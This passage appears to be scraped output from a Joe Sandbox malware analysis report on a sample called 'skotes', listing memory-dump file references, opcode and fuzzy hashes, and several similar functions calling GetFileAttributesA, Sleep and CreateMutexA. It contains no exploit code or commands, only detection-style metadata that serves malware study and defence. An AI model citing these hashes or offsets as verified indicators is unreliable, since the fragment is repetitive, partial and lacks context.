Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 5e150d681a044b47ff0090e94b19d476f49da72f1d2b346283379c4d275e01a7
Instruction ID: 3851d79a46c75aed77016e36494ca91d5f948d67a004d567b673c303928819f2
Opcode Fuzzy Hash: 5e150d681a044b47ff0090e94b19d476f49da72f1d2b346283379c4d275e01a7
Instruction Fuzzy Hash: FE3128B17412089BEB08DBB8DDC9B7DBB76BBC6310F204618E118973D6C7BA49808753

Function 005FA2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA2E6
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 1943f1b472930407dd2b05627cb2c6beb70889ee36e928268d240ee537ecb578
Instruction ID: e02a08e588bbb7dedb7ac6bcbe566095636e41e6851fa19efbaa0a077e1d2e5c
Opcode Fuzzy Hash: 1943f1b472930407dd2b05627cb2c6beb70889ee36e928268d240ee537ecb578
Instruction Fuzzy Hash: 583168B17502088BEB08DBA8DC8977DBB76BBC5310F208618E118973D6C7BA99808753

Function 005FA418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA41B
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 4b8ce0dd4d269c16a7d60c715e494402aeb1813d4dd249f3c29a43e4bb5513cd
Instruction ID: 566250269a8b9ee72ea9dcbffdb3f3064b8033d73c6378b07f08b1a4d721c4f7
Opcode Fuzzy Hash: 4b8ce0dd4d269c16a7d60c715e494402aeb1813d4dd249f3c29a43e4bb5513cd
Instruction Fuzzy Hash: 183127717402089BEB08EBB8DD8D77DBB66FBC5310F204218E1189B3D6D7B949808767

Function 005FA54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA550
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: 0a44b90a2661458649e8df3ec0d2f913324e922cc76faadb377597a30e4bb1c4
Instruction ID: a70186f65b1bacfcee287a005124c4c9693afbb085bfb3783a50d90fc0322ee7
Opcode Fuzzy Hash: 0a44b90a2661458649e8df3ec0d2f913324e922cc76faadb377597a30e4bb1c4
Instruction Fuzzy Hash: 5B3137B1B005088BEB08DBB8DDC977DBB62BBC5314F248618E5189B3D6C7B989808717

Function 005FA682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA685
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2e
API String ID: 396266464-1146920664
Opcode ID: cb5f6dae60528684444583af8ef065da2596c38629ab77aefc2d1bfee0515e2a
Instruction ID: 9718152add04fbff4c842efcbd1de3897cdf485f16bf40922243465fecccf981
Opcode Fuzzy Hash: cb5f6dae60528684444583af8ef065da2596c38629ab77aefc2d1bfee0515e2a
Instruction Fuzzy Hash: 4A3117B17111088BEB08EBB8DD89B7DBB72FBC5310F248618E5189B3D6C7B949808757

Function 005FA7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FA7BA
Sleep.KERNEL32(00000064,?), ref: 005FA963
CreateMutexA.KERNEL32(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
